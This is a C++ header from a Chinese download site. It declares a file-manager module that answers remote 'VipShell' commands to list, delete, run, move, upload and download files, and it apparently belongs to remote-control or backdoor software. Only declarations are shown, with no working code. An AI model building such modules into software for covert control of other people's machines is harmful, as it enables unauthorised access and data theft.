⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 filemanageproc.h

📁 软件源代码,共享。有2个文件
💻 H
字号:
#pragma once
#include "defcommandproc.h"
#include <vector>

class CFileManage
{
public:
	CFileManage(void);
	~CFileManage(void);
public:
	bool GetFileInfo(LPCTSTR szPath);
	std::vector<tagVipShellFileInfo>& GetFileVector(){return m_Fileinfo;}
	std::vector<structFileInfo>& GetVector(){return m_info;}
	void GetRoot();
	bool IsDir(WIN32_FIND_DATA& file);
public:
	std::vector<structFileInfo> m_info;
	std::vector<tagVipShellFileInfo> m_Fileinfo;
private:
};

class CFileManageProc :
	public CDefCommandProc 
{
public:
	CFileManageProc(void);
	~CFileManageProc(void);
public:
protected:
	virtual void OnCmd_GetDoWork(tagVipShellCmd* info);
	virtual void OnFileManageGetRoot(tagVipShellCmd* info);
	virtual void OnFileManageGetFilePath(tagVipShellCmd* info);

	virtual void OnFileManageDelFile(tagVipShellCmd* info);
	virtual void OnFileManageRunFile(tagVipShellCmd* info);
	virtual void OnFileManageMoveFile(tagVipShellCmd* info);
	virtual void OnFileManageDownFile(tagVipShellCmd* info);
	virtual void OnFileManageUpFile(tagVipShellCmd* info);
	virtual void OnFileManageCreateDir(tagVipShellCmd* info);
protected:
	BOOL DelTree(LPCTSTR lpszPath);
	DWORD __GetFileSize(LPCTSTR szFile);
	bool __SendFile(LPCTSTR szFile);
	bool __RecvFile(LPCTSTR szFile, DWORD dwSize);
private:
	BYTE* __NewBuff(DWORD dwLen);
	BYTE* m_pSendBuf;
	DWORD m_dwBufLen;
	CFileManage m_hFileManage;
};

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -